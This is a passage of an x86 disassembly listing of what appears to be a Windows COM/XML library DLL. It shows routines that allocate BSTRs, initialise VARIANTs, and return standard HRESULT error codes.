push dword ptr [ebp+0Ch] ; lpString
call ds:lstrlenW ; lstrlenW
loc_69B4243C: ; CODE XREF: sub_69B423AC+85j
mov ecx, [esi+1Ch]
mov [ebp-3Ch], ecx
push ebx
push eax
push dword ptr [ebp+0Ch]
call sub_69B4CD25
jmp short loc_69B42489
; ---------------------------------------------------------------------------
loc_69B4244E: ; CODE XREF: sub_69B423AC+5Ej
; sub_69B423AC+68j ...
push ebx
call sub_69B481AF
push eax
push 0C00CE208h
push 80004005h
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B42489
; ---------------------------------------------------------------------------
loc_69B42469: ; DATA XREF: .text:69B424ACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42472: ; DATA XREF: .text:69B424B0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B42489: ; CODE XREF: sub_69B423AC+A0j
; sub_69B423AC+BBj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B424A0: ; CODE XREF: sub_69B423AC+43j
call sub_69B1853C
retn 8
sub_69B423AC endp
; ---------------------------------------------------------------------------
dword_69B424A8 dd 0FFFFFFFFh dd offset loc_69B42469
dd offset loc_69B42472
; =============== S U B R O U T I N E =======================================
sub_69B424B4 proc near ; CODE XREF: sub_69B595E8+Cp
; DATA XREF: .text:69B12594o
push 3Ch
push offset dword_69B42588
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B424D9
mov eax, 80004005h
jmp loc_69B4257C
; ---------------------------------------------------------------------------
loc_69B424D9: ; CODE XREF: sub_69B424B4+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B424F4
mov ebx, 80070057h
jmp short loc_69B42569
; ---------------------------------------------------------------------------
loc_69B424F4: ; CODE XREF: sub_69B424B4+37j
mov [ebp-4], ebx
mov ecx, [esi+1Ch]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B42514
mov eax, [eax+10h]
mov [ebp-3Ch], eax
jmp short loc_69B42516
; ---------------------------------------------------------------------------
loc_69B42514: ; CODE XREF: sub_69B424B4+56j
xor eax, eax
loc_69B42516: ; CODE XREF: sub_69B424B4+5Ej
mov ecx, eax
mov [ebp-40h], ecx
cmp ecx, ebx
jz short loc_69B4253B
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov [ebp-44h], eax
mov ecx, [eax+0Ch]
mov [ebp-48h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B42565
; ---------------------------------------------------------------------------
loc_69B4253B: ; CODE XREF: sub_69B424B4+69j
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-4Ch], ebx
jmp short loc_69B42565
; ---------------------------------------------------------------------------
loc_69B42545: ; DATA XREF: .text:69B4258Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4254E: ; DATA XREF: .text:69B42590o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B42565: ; CODE XREF: sub_69B424B4+85j
; sub_69B424B4+8Fj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42569: ; CODE XREF: sub_69B424B4+3Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B4257C: ; CODE XREF: sub_69B424B4+20j
call sub_69B1853C
retn 8
sub_69B424B4 endp
; ---------------------------------------------------------------------------
align 8
dword_69B42588 dd 0FFFFFFFFh dd offset loc_69B42545
dd offset loc_69B4254E
; =============== S U B R O U T I N E =======================================
sub_69B42594 proc near ; CODE XREF: sub_69B595FC+Cp
; DATA XREF: .text:69B12598o
push 3Ch
push offset dword_69B42668
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B425B9
mov eax, 80004005h
jmp loc_69B4265C
; ---------------------------------------------------------------------------
loc_69B425B9: ; CODE XREF: sub_69B42594+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B425D4
mov ebx, 80070057h
jmp short loc_69B42649
; ---------------------------------------------------------------------------
loc_69B425D4: ; CODE XREF: sub_69B42594+37j
mov [ebp-4], ebx
mov ecx, [esi+1Ch]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B425F4
mov eax, [eax+0Ch]
mov [ebp-3Ch], eax
jmp short loc_69B425F6
; ---------------------------------------------------------------------------
loc_69B425F4: ; CODE XREF: sub_69B42594+56j
xor eax, eax
loc_69B425F6: ; CODE XREF: sub_69B42594+5Ej
mov ecx, eax
mov [ebp-40h], ecx
cmp ecx, ebx
jz short loc_69B4261B
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov [ebp-44h], eax
mov ecx, [eax+0Ch]
mov [ebp-48h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B42645
; ---------------------------------------------------------------------------
loc_69B4261B: ; CODE XREF: sub_69B42594+69j
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-4Ch], ebx
jmp short loc_69B42645
; ---------------------------------------------------------------------------
loc_69B42625: ; DATA XREF: .text:69B4266Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4262E: ; DATA XREF: .text:69B42670o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B42645: ; CODE XREF: sub_69B42594+85j
; sub_69B42594+8Fj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42649: ; CODE XREF: sub_69B42594+3Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B4265C: ; CODE XREF: sub_69B42594+20j
call sub_69B1853C
retn 8
sub_69B42594 endp
; ---------------------------------------------------------------------------
align 8
dword_69B42668 dd 0FFFFFFFFh dd offset loc_69B42625
dd offset loc_69B4262E
; =============== S U B R O U T I N E =======================================
sub_69B42674 proc near ; CODE XREF: sub_69B43314+20p
; sub_69B4354C+37p ...
push esi
push edi
mov esi, ecx
xor eax, eax
push eax
lea edi, [esi+0Ch]
push edi
mov [esi+8], eax
mov [esi], eax
call sub_69B17320
push edi
lea ecx, [esi+4]
call sub_69B4D414
pop edi
pop esi
retn
sub_69B42674 endp
; =============== S U B R O U T I N E =======================================
sub_69B42695 proc near ; CODE XREF: sub_69B59610+Cp
; DATA XREF: .text:69B1259Co
push 38h
push offset dword_69B42758
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B426BA
mov eax, 80004005h
jmp loc_69B42750
; ---------------------------------------------------------------------------
loc_69B426BA: ; CODE XREF: sub_69B42695+19j
mov edi, [ebp+8]
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov esi, [ebp+0Ch]
cmp esi, ebx
jnz short loc_69B426D5
mov ebx, 80070057h
jmp short loc_69B4273D
; ---------------------------------------------------------------------------
loc_69B426D5: ; CODE XREF: sub_69B42695+37j
mov [ebp-4], ebx
mov ecx, [edi+1Ch]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
mov eax, [ecx]
call dword ptr [eax+38h]
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B4270F
mov ecx, [eax+14h]
mov [ebp-3Ch], ecx
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov [ebp-40h], eax
mov ecx, [eax+0Ch]
mov [ebp-44h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [esi], eax
jmp short loc_69B42739
; ---------------------------------------------------------------------------
loc_69B4270F: ; CODE XREF: sub_69B42695+56j
mov [esi], ebx
xor ebx, ebx
inc ebx
mov [ebp-48h], ebx
jmp short loc_69B42739
; ---------------------------------------------------------------------------
loc_69B42719: ; DATA XREF: .text:69B4275Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42722: ; DATA XREF: .text:69B42760o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B42739: ; CODE XREF: sub_69B42695+78j
; sub_69B42695+82j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B4273D: ; CODE XREF: sub_69B42695+3Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B42750: ; CODE XREF: sub_69B42695+20j
call sub_69B1853C
retn 8
sub_69B42695 endp
; ---------------------------------------------------------------------------
dword_69B42758 dd 0FFFFFFFFh dd offset loc_69B42719
dd offset loc_69B42722
; =============== S U B R O U T I N E =======================================
sub_69B42764 proc near ; CODE XREF: sub_69B43340+6p
; sub_69B549EC+37p
push esi
mov esi, ecx
lea eax, [esi+0Ch]
push eax
call sub_69B17230
add esi, 4
push esi
call sub_69B17230
pop esi
retn
sub_69B42764 endp
; =============== S U B R O U T I N E =======================================
sub_69B4277B proc near ; CODE XREF: sub_69B5951B+Cp
; DATA XREF: .text:69B12570o
push 2Ch
push offset dword_69B42878
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B4279E
mov eax, 80004005h
jmp loc_69B4286F
; ---------------------------------------------------------------------------
loc_69B4279E: ; CODE XREF: sub_69B4277B+17j
mov edi, [ebp+8]
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
and dword ptr [ebp-30h], 0
mov ebx, [ebp+0Ch]
test ebx, ebx
jnz short loc_69B427C2
mov dword ptr [ebp-30h], 80070057h
jmp loc_69B4285B
; ---------------------------------------------------------------------------
loc_69B427C2: ; CODE XREF: sub_69B4277B+39j
mov word ptr [ebx], 1
and dword ptr [ebp-4], 0
mov esi, [edi+1Ch]
mov [ebp-34h], esi
mov [ebp-38h], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B8h]
mov ecx, esi
test al, al
jz short loc_69B427F6
call sub_69B4B8FE
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+124h]
jmp short loc_69B42857
; ---------------------------------------------------------------------------
loc_69B427F6: ; CODE XREF: sub_69B4277B+67j
mov eax, [esi]
call dword ptr [eax+44h]
test eax, eax
jz short loc_69B42814
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp eax, 0Fh
jz short loc_69B42814
mov eax, [edi]
push ebx
push edi
call dword ptr [eax+20h]
jmp short loc_69B42854
; ---------------------------------------------------------------------------
loc_69B42814: ; CODE XREF: sub_69B4277B+82j
; sub_69B4277B+8Ej
and dword ptr [ebp-3Ch], 0
mov eax, [edi]
lea ecx, [ebp-3Ch]
push ecx
push edi
call dword ptr [eax+68h]
mov [ebp-30h], eax
test eax, eax
jnz short loc_69B42857
mov word ptr [ebx], 8
mov eax, [ebp-3Ch]
mov [ebx+8], eax
jmp short loc_69B42857
; ---------------------------------------------------------------------------
loc_69B42836: ; DATA XREF: .text:69B4287Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4283F: ; DATA XREF: .text:69B42880o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B42854: ; CODE XREF: sub_69B4277B+97j
mov [ebp-30h], eax
loc_69B42857: ; CODE XREF: sub_69B4277B+79j
; sub_69B4277B+ACj ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B4285B: ; CODE XREF: sub_69B4277B+42j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B4286F: ; CODE XREF: sub_69B4277B+1Ej
call sub_69B1853C
retn 8
sub_69B4277B endp
; ---------------------------------------------------------------------------
align 4
dword_69B42878 dd 0FFFFFFFFh dd offset loc_69B42836
dd offset loc_69B4283F
; =============== S U B R O U T I N E =======================================
sub_69B42884 proc near ; CODE XREF: sub_69B5952F+17p
; DATA XREF: .text:69B12574o
push 34h
push offset dword_69B42970
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B428A9
mov eax, 80004005h
jmp loc_69B42961
; ---------------------------------------------------------------------------
loc_69B428A9: ; CODE XREF: sub_69B42884+19j
mov [ebp-4], edi
mov ebx, [ebp+8]
mov esi, [ebx+1Ch]
mov [ebp-20h], esi
mov [ebp-24h], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B8h]
test al, al
jz short loc_69B42919
push ebx
push dword ptr [ebp-1Ch]
lea ecx, [ebp-38h]
call sub_69B40DFB
mov al, [ebp-34h]
mov [ebp-39h], al
test al, al
jnz short loc_69B428FD
mov esi, 80004005h
mov [ebp-40h], esi
lea ecx, [ebp-38h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, esi
jmp short loc_69B42961
; ---------------------------------------------------------------------------
loc_69B428FD: ; CODE XREF: sub_69B42884+56j
mov ecx, esi
call sub_69B48CEA
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_69B4CEA8
lea ecx, [ebp-38h]
call sub_69B4637D
jmp short loc_69B42952
; ---------------------------------------------------------------------------
loc_69B42919: ; CODE XREF: sub_69B42884+40j
mov eax, [ebx]
sub esp, 10h
lea esi, [ebp+0Ch]
mov edi, esp
movsd
movsd
movsd
movsd
push ebx
call dword ptr [eax+24h]
mov edi, eax
mov [ebp-44h], edi
jmp short loc_69B42952
; ---------------------------------------------------------------------------
loc_69B42932: ; DATA XREF: .text:69B42974o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4293B: ; DATA XREF: .text:69B42978o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B42952: ; CODE XREF: sub_69B42884+93j
; sub_69B42884+ACj
or dword ptr [ebp-4], 0FFFFFFFFh
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B42961: ; CODE XREF: sub_69B42884+20j
; sub_69B42884+77j
call sub_69B1853C
retn 14h
sub_69B42884 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B42970 dd 0FFFFFFFFh dd offset loc_69B42932
dd offset loc_69B4293B
; =============== S U B R O U T I N E =======================================
sub_69B4297C proc near ; CODE XREF: sub_69B59550+Cp
; DATA XREF: .text:69B12578o
push 2Ch
push offset dword_69B42A48
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B4299F
mov eax, 80004005h
jmp loc_69B42A3C
; ---------------------------------------------------------------------------
loc_69B4299F: ; CODE XREF: sub_69B4297C+17j
mov edi, [ebp+8]
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
xor ebx, ebx
mov esi, [ebp+0Ch]
test esi, esi
jnz short loc_69B429BC
mov ebx, 80070057h
jmp short loc_69B42A29
; ---------------------------------------------------------------------------
loc_69B429BC: ; CODE XREF: sub_69B4297C+37j
push esi ; pvarg
call VariantInit
and dword ptr [ebp-4], 0
mov ecx, [edi+1Ch]
mov [ebp-30h], ecx
mov eax, [ecx]
call dword ptr [eax+0D0h]
mov [ebp-34h], eax
test eax, eax
jz short loc_69B429F6
mov word ptr [esi], 8
mov ecx, [eax+0Ch]
mov [ebp-38h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [esi+8], eax
jmp short loc_69B42A25
; ---------------------------------------------------------------------------
loc_69B429F6: ; CODE XREF: sub_69B4297C+5Ej
xor ebx, ebx
inc ebx
mov [esi], bx
and dword ptr [esi+8], 0
mov [ebp-3Ch], ebx
jmp short loc_69B42A25
; ---------------------------------------------------------------------------
loc_69B42A05: ; DATA XREF: .text:69B42A4Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42A0E: ; DATA XREF: .text:69B42A50o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B42A25: ; CODE XREF: sub_69B4297C+78j
; sub_69B4297C+87j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42A29: ; CODE XREF: sub_69B4297C+3Ej
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B42A3C: ; CODE XREF: sub_69B4297C+1Ej
call sub_69B1853C
retn 8
sub_69B4297C endp
; ---------------------------------------------------------------------------
align 8
dword_69B42A48 dd 0FFFFFFFFh dd offset loc_69B42A05
dd offset loc_69B42A0E
; =============== S U B R O U T I N E =======================================
sub_69B42A54 proc near ; CODE XREF: sub_69B59564+Cp
; DATA XREF: .text:69B1257Co
push 2Ch
push offset dword_69B42B40
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B42A92
mov esi, [ebp+8]
push esi
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B42A9C
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B42A92: ; CODE XREF: sub_69B42A54+1Bj
mov eax, 80004005h
jmp loc_69B42B35
; ---------------------------------------------------------------------------
loc_69B42A9C: ; CODE XREF: sub_69B42A54+2Dj
xor edi, edi
cmp [ebp+0Ch], ebx
jnz short loc_69B42AAA
mov edi, 80070057h
jmp short loc_69B42B22
; ---------------------------------------------------------------------------
loc_69B42AAA: ; CODE XREF: sub_69B42A54+4Dj
mov [ebp-4], ebx
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov [ebp-34h], eax
mov esi, [esi+1Ch]
mov [ebp-38h], esi
mov [ebp-3Ch], esi
mov ecx, esi
call sub_69B48CEA
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
jz short loc_69B42AF2
cmp eax, 0Fh
jz short loc_69B42AF2
push ebx
mov ecx, esi
call sub_69B481AF
push eax
push 0C00CE208h
push 80004005h
call sub_69B2E9D0
add esp, 10h
loc_69B42AF2: ; CODE XREF: sub_69B42A54+7Cj
; sub_69B42A54+81j
push dword ptr [ebp-34h]
mov ecx, esi
call sub_69B14EAC
jmp short loc_69B42B1E
; ---------------------------------------------------------------------------
loc_69B42AFE: ; DATA XREF: .text:69B42B44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42B07: ; DATA XREF: .text:69B42B48o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B42B1E: ; CODE XREF: sub_69B42A54+A8j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42B22: ; CODE XREF: sub_69B42A54+54j
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B42B35: ; CODE XREF: sub_69B42A54+43j
call sub_69B1853C
retn 8
sub_69B42A54 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B42B40 dd 0FFFFFFFFh dd offset loc_69B42AFE
dd offset loc_69B42B07
; =============== S U B R O U T I N E =======================================
sub_69B42B4C proc near ; CODE XREF: sub_69B5958C+10p
; DATA XREF: .text:69B12584o
push 44h
push offset dword_69B42C60
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B42B71
mov eax, 80004005h
jmp loc_69B42C53
; ---------------------------------------------------------------------------
loc_69B42B71: ; CODE XREF: sub_69B42B4C+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov [ebp-30h], edi
mov ecx, [esi+1Ch]
mov eax, [ecx]
call dword ptr [eax+0B4h]
cmp [ebp+0Ch], edi
jz short loc_69B42B98
mov ebx, [ebp+10h]
cmp ebx, edi
jnz short loc_69B42BA2
loc_69B42B98: ; CODE XREF: sub_69B42B4C+43j
mov esi, 80070057h
jmp loc_69B42C40
; ---------------------------------------------------------------------------
loc_69B42BA2: ; CODE XREF: sub_69B42B4C+4Aj
push edi
lea ecx, [ebp-3Ch]
call sub_69B11D3B
mov [ebp-4], edi
call sub_69B88D77
mov edi, eax
mov [ebp-40h], edi
push edi
call sub_69B887E9
mov [ebp-44h], eax
lea esi, [eax+8]
mov [ebp-48h], esi
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov [ebp-30h], esi
push 1
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_69B6FBE1
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
mov [ebp-4Ch], eax
mov ecx, [eax+0Ch]
mov [ebp-50h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [ebx], eax
xor esi, esi
mov [ebp-54h], esi
jmp short loc_69B42C27
; ---------------------------------------------------------------------------
loc_69B42C01: ; DATA XREF: .text:69B42C64o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42C0A: ; DATA XREF: .text:69B42C68o
mov esp, [ebp-18h]
mov eax, [ebp+10h]
and dword ptr [eax], 0
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B42C27: ; CODE XREF: sub_69B42B4C+B3j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-3Ch]
call sub_69B1976C
mov eax, [ebp-30h]
test eax, eax
jz short loc_69B42C40
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B42C40: ; CODE XREF: sub_69B42B4C+51j
; sub_69B42B4C+ECj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B42C53: ; CODE XREF: sub_69B42B4C+20j
call sub_69B1853C
retn 0Ch
sub_69B42B4C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B42C60 dd 0FFFFFFFFh dd offset loc_69B42C01
dd offset loc_69B42C0A
; =============== S U B R O U T I N E =======================================
sub_69B42C6C proc near ; CODE XREF: sub_69B595A4+10p
; DATA XREF: .text:69B12588o
push 30h
push offset dword_69B42D40
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B42C91
mov eax, 80004005h
jmp loc_69B42D37
; ---------------------------------------------------------------------------
loc_69B42C91: ; CODE XREF: sub_69B42C6C+19j
mov edi, [ebp+8]
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov [ebp-30h], esi
cmp [ebp+0Ch], esi
jz short loc_69B42CAD
mov ebx, [ebp+10h]
cmp ebx, esi
jnz short loc_69B42CB4
loc_69B42CAD: ; CODE XREF: sub_69B42C6C+38j
mov esi, 80070057h
jmp short loc_69B42D24
; ---------------------------------------------------------------------------
loc_69B42CB4: ; CODE XREF: sub_69B42C6C+3Fj
mov [ebp-4], esi
push esi
call sub_69B5562F
mov esi, eax
mov [ebp-30h], esi
mov ecx, edi
call sub_69B40F7C
mov [ebp-34h], eax
mov eax, [eax+0E4h]
mov [ebp-38h], eax
mov edi, [edi+1Ch]
mov [ebp-3Ch], edi
push eax ; int
push edi ; int
push dword ptr [ebp+0Ch] ; lpString
mov ecx, esi
call sub_69B5545F
mov [ebx], esi
xor esi, esi
mov [ebp-40h], esi
jmp short loc_69B42D20
; ---------------------------------------------------------------------------
loc_69B42CF0: ; DATA XREF: .text:69B42D44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42CF9: ; DATA XREF: .text:69B42D48o
mov esp, [ebp-18h]
mov eax, [ebp-30h]
test eax, eax
jz short loc_69B42D0C
lea ecx, [eax+0Ch]
mov eax, [ecx]
push 1
call dword ptr [eax]
loc_69B42D0C: ; CODE XREF: sub_69B42C6C+95j
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B42D20: ; CODE XREF: sub_69B42C6C+82j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42D24: ; CODE XREF: sub_69B42C6C+46j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B42D37: ; CODE XREF: sub_69B42C6C+20j
call sub_69B1853C
retn 0Ch
sub_69B42C6C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B42D40 dd 0FFFFFFFFh dd offset loc_69B42CF0
dd offset loc_69B42CF9
; =============== S U B R O U T I N E =======================================
sub_69B42D4C proc near ; CODE XREF: sub_69B595BC+10p
; DATA XREF: .text:69B1258Co
push 28h
push offset dword_69B42E08
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B42D71
mov eax, 80004005h
jmp loc_69B42DFD
; ---------------------------------------------------------------------------
loc_69B42D71: ; CODE XREF: sub_69B42D4C+19j
mov edi, [ebp+8]
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
cmp [ebp+0Ch], ebx
jz short loc_69B42D8A
mov esi, [ebp+10h]
cmp esi, ebx
jnz short loc_69B42D93
loc_69B42D8A: ; CODE XREF: sub_69B42D4C+35j
mov dword ptr [ebp-30h], 80070057h
jmp short loc_69B42DE9
; ---------------------------------------------------------------------------
loc_69B42D93: ; CODE XREF: sub_69B42D4C+3Cj
mov [esi], ebx
mov [ebp-4], ebx
mov ecx, [edi+1Ch]
mov [ebp-34h], ecx
push dword ptr [ebp+0Ch]
call sub_69B49F3F
mov ecx, eax
mov [ebp-38h], ecx
cmp ecx, ebx
jz short loc_69B42DBB
call sub_69B48B01
mov [esi], eax
mov [ebp-30h], ebx
jmp short loc_69B42DE5
; ---------------------------------------------------------------------------
loc_69B42DBB: ; CODE XREF: sub_69B42D4C+61j
mov dword ptr [ebp-30h], 1
jmp short loc_69B42DE5
; ---------------------------------------------------------------------------
loc_69B42DC4: ; DATA XREF: .text:69B42E0Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42DCD: ; DATA XREF: .text:69B42E10o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B42DE5: ; CODE XREF: sub_69B42D4C+6Dj
; sub_69B42D4C+76j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B42DE9: ; CODE XREF: sub_69B42D4C+45j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B42DFD: ; CODE XREF: sub_69B42D4C+20j
call sub_69B1853C
retn 0Ch
sub_69B42D4C endp
; ---------------------------------------------------------------------------
align 4
dword_69B42E08 dd 0FFFFFFFFh dd offset loc_69B42DC4
dd offset loc_69B42DCD
; =============== S U B R O U T I N E =======================================
sub_69B42E14 proc near ; CODE XREF: sub_69B59578+Cp
; DATA XREF: .text:69B12580o
push 2Ch
push offset dword_69B42EB8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B42E36
mov eax, 80004005h
jmp short loc_69B42EB0
; ---------------------------------------------------------------------------
loc_69B42E36: ; CODE XREF: sub_69B42E14+19j
mov esi, [ebp+8]
push esi
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B42E51
mov ebx, 80070057h
jmp short loc_69B42E9D
; ---------------------------------------------------------------------------
loc_69B42E51: ; CODE XREF: sub_69B42E14+34j
mov [ebp-4], ebx
mov ecx, [esi+1Ch]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
call sub_69B4A8CB
mov [ebp-38h], eax
mov ecx, [eax+0Ch]
mov [ebp-3Ch], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B42E99
; ---------------------------------------------------------------------------
loc_69B42E79: ; DATA XREF: .text:69B42EBCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B42E82: ; DATA XREF: .text:69B42EC0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
